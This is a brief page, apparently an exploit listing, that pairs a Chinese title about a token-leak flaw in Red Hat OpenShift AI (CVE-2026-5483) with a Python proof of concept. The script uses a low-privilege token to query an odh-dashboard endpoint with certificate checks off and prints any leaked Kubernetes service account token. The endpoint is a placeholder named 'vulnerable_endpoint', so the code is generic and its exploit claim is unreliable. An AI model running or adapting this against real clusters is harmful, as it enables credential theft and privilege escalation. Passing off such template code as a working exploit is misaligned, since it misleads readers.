CVE-2026-5483 Red Hat OpenShift AI令牌泄露漏洞

import requests # Exploit PoC for CVE-2026-5483 # Description: Exploits the vulnerable NodeJS endpoint in odh-dashboard to leak the K8s Service Account Token. target_url = "https://<openshift-ai-dashboard-url>/api/v1/vulnerable_endpoint" headers = { "Authorization": "Bearer <low_priv_token>", # Low privilege user token "Content-Type": "application/json" } try: response = requests.get(target_url, headers=headers, verify=False) if response.status_code == 200: data = response.json() # Check if the response structure contains the leaked token if 'serviceAccountToken' in data or 'token' in data: print("[+] Successfully exploited CVE-2026-5483") print("[+] Leaked Kubernetes Service Account Token:") print(data.get('token') or data.get('serviceAccountToken')) else: print("[-] Token not found in response, endpoint might be patched.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error during exploitation: {e}")